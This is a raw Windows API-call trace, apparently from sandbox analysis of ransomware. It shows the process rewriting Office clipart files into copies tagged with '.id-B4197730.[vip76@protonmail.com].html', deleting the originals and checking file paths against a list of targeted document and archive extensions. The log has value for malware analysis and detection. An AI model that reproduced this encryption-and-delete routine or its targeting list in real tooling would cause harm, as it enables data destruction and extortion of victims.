	[0190.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0190.238] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=4628) returned 1
	[0190.238] CloseHandle (hObject=0x5ac) returned 1
	[0190.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 0x220
	[0190.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0190.239] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.239] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0190.240] GetLastError () returned 0x0
	[0190.240] ReadFile (in: hFile=0x5ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1214, lpOverlapped=0x0) returned 1
	[0190.242] WriteFile (in: hFile=0x5e0, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1220, lpOverlapped=0x0) returned 1
	[0190.244] ReadFile (in: hFile=0x5ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.244] WriteFile (in: hFile=0x5e0, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.244] SetEndOfFile (hFile=0x5e0) returned 1
	[0190.245] CloseHandle (hObject=0x5e0) returned 1
	[0190.245] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.245] SetEndOfFile (hFile=0x5ac) returned 1
	[0190.249] CloseHandle (hObject=0x5ac) returned 1
	[0190.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 1
	[0190.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0190.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0190.251] lstrlenW (lpString=".doc") returned 4
	[0190.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.251] lstrlenW (lpString=".docx") returned 5
	[0190.251] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0190.251] lstrlenW (lpString=".pdf") returned 4
	[0190.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.251] lstrlenW (lpString=".xls") returned 4
	[0190.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.251] lstrlenW (lpString=".xlsx") returned 5
	[0190.251] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0190.251] lstrlenW (lpString=".ppt") returned 4
	[0190.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0190.251] lstrlenW (lpString=".zip") returned 4
	[0190.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.251] lstrlenW (lpString=".rar") returned 4
	[0190.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.251] lstrlenW (lpString=".bz2") returned 4
	[0190.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.251] lstrlenW (lpString=".7z") returned 3
	[0190.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0190.251] lstrlenW (lpString=".dbf") returned 4
	[0190.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0190.252] lstrlenW (lpString=".1cd") returned 4
	[0190.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0190.252] lstrlenW (lpString=".jpg") returned 4
	[0190.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0190.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0190.504] lstrlenW (lpString=".doc") returned 4
	[0190.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.504] lstrlenW (lpString=".docx") returned 5
	[0190.504] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0190.504] lstrlenW (lpString=".pdf") returned 4
	[0190.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.504] lstrlenW (lpString=".xls") returned 4
	[0190.517] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.517] lstrlenW (lpString=".xlsx") returned 5
	[0190.517] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0190.517] lstrlenW (lpString=".ppt") returned 4
	[0190.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0190.518] lstrlenW (lpString=".zip") returned 4
	[0190.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.518] lstrlenW (lpString=".rar") returned 4
	[0190.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.518] lstrlenW (lpString=".bz2") returned 4
	[0190.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.518] lstrlenW (lpString=".7z") returned 3
	[0190.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0190.518] lstrlenW (lpString=".dbf") returned 4
	[0190.518] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0190.518] lstrlenW (lpString=".1cd") returned 4
	[0190.518] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0190.518] lstrlenW (lpString=".jpg") returned 4
	[0190.518] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.518] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.518] lstrlenW (lpString="J0105288.WMF") returned 12
	[0190.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0190.519] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=15832) returned 1
	[0190.519] CloseHandle (hObject=0x36c) returned 1
	[0190.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 0x220
	[0190.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0190.520] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.520] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0190.521] GetLastError () returned 0x0
	[0190.521] ReadFile (in: hFile=0x36c, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x3dd8, lpOverlapped=0x0) returned 1
	[0190.526] WriteFile (in: hFile=0x5ec, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x3de0, lpOverlapped=0x0) returned 1
	[0190.528] ReadFile (in: hFile=0x36c, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.528] WriteFile (in: hFile=0x5ec, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.528] SetEndOfFile (hFile=0x5ec) returned 1
	[0190.528] CloseHandle (hObject=0x5ec) returned 1
	[0190.528] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.528] SetEndOfFile (hFile=0x36c) returned 1
	[0190.532] CloseHandle (hObject=0x36c) returned 1
	[0190.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.533] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 1
	[0190.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0190.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0190.534] lstrlenW (lpString=".doc") returned 4
	[0190.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.534] lstrlenW (lpString=".docx") returned 5
	[0190.534] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0190.534] lstrlenW (lpString=".pdf") returned 4
	[0190.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.534] lstrlenW (lpString=".xls") returned 4
	[0190.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.534] lstrlenW (lpString=".xlsx") returned 5
	[0190.534] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0190.534] lstrlenW (lpString=".ppt") returned 4
	[0190.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0190.534] lstrlenW (lpString=".zip") returned 4
	[0190.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.534] lstrlenW (lpString=".rar") returned 4
	[0190.534] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.534] lstrlenW (lpString=".bz2") returned 4
	[0190.534] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.535] lstrlenW (lpString=".7z") returned 3
	[0190.535] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0190.535] lstrlenW (lpString=".dbf") returned 4
	[0190.535] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0190.535] lstrlenW (lpString=".1cd") returned 4
	[0190.535] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0190.535] lstrlenW (lpString=".jpg") returned 4
	[0190.535] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0190.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0190.535] lstrlenW (lpString=".doc") returned 4
	[0190.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.535] lstrlenW (lpString=".docx") returned 5
	[0190.535] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0190.535] lstrlenW (lpString=".pdf") returned 4
	[0190.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.535] lstrlenW (lpString=".xls") returned 4
	[0190.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.535] lstrlenW (lpString=".xlsx") returned 5
	[0190.535] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0190.535] lstrlenW (lpString=".ppt") returned 4
	[0190.535] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0190.535] lstrlenW (lpString=".zip") returned 4
	[0190.535] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.535] lstrlenW (lpString=".rar") returned 4
	[0190.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.536] lstrlenW (lpString=".bz2") returned 4
	[0190.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.536] lstrlenW (lpString=".7z") returned 3
	[0190.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0190.536] lstrlenW (lpString=".dbf") returned 4
	[0190.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0190.536] lstrlenW (lpString=".1cd") returned 4
	[0190.536] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0190.536] lstrlenW (lpString=".jpg") returned 4
	[0190.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.536] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.536] lstrlenW (lpString="J0105292.WMF") returned 12
	[0190.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0190.537] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=14868) returned 1
	[0190.537] CloseHandle (hObject=0x36c) returned 1
	[0190.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 0x220
	[0190.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0190.538] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.538] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0190.539] GetLastError () returned 0x0
	[0190.539] ReadFile (in: hFile=0x36c, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x3a14, lpOverlapped=0x0) returned 1
	[0190.541] WriteFile (in: hFile=0x5ec, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x3a20, lpOverlapped=0x0) returned 1
	[0190.542] ReadFile (in: hFile=0x36c, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.542] WriteFile (in: hFile=0x5ec, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.543] SetEndOfFile (hFile=0x5ec) returned 1
	[0190.543] CloseHandle (hObject=0x5ec) returned 1
	[0190.543] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.543] SetEndOfFile (hFile=0x36c) returned 1
	[0190.546] CloseHandle (hObject=0x36c) returned 1
	[0190.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.546] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 1
	[0190.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0190.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0190.547] lstrlenW (lpString=".doc") returned 4
	[0190.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.547] lstrlenW (lpString=".docx") returned 5
	[0190.547] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0190.547] lstrlenW (lpString=".pdf") returned 4
	[0190.547] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.547] lstrlenW (lpString=".xls") returned 4
	[0190.547] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.548] lstrlenW (lpString=".xlsx") returned 5
	[0190.548] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0190.548] lstrlenW (lpString=".ppt") returned 4
	[0190.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0190.548] lstrlenW (lpString=".zip") returned 4
	[0190.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.548] lstrlenW (lpString=".rar") returned 4
	[0190.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.548] lstrlenW (lpString=".bz2") returned 4
	[0190.548] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.548] lstrlenW (lpString=".7z") returned 3
	[0190.548] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0190.548] lstrlenW (lpString=".dbf") returned 4
	[0190.548] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0190.548] lstrlenW (lpString=".1cd") returned 4
	[0190.548] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0190.548] lstrlenW (lpString=".jpg") returned 4
	[0190.548] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0190.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0190.548] lstrlenW (lpString=".doc") returned 4
	[0190.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.548] lstrlenW (lpString=".docx") returned 5
	[0190.548] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0190.549] lstrlenW (lpString=".pdf") returned 4
	[0190.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.549] lstrlenW (lpString=".xls") returned 4
	[0190.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.549] lstrlenW (lpString=".xlsx") returned 5
	[0190.549] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0190.549] lstrlenW (lpString=".ppt") returned 4
	[0190.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0190.549] lstrlenW (lpString=".zip") returned 4
	[0190.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.549] lstrlenW (lpString=".rar") returned 4
	[0190.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.549] lstrlenW (lpString=".bz2") returned 4
	[0190.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.549] lstrlenW (lpString=".7z") returned 3
	[0190.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0190.549] lstrlenW (lpString=".dbf") returned 4
	[0190.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0190.549] lstrlenW (lpString=".1cd") returned 4
	[0190.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0190.549] lstrlenW (lpString=".jpg") returned 4
	[0190.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.550] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.550] lstrlenW (lpString="J0105294.WMF") returned 12
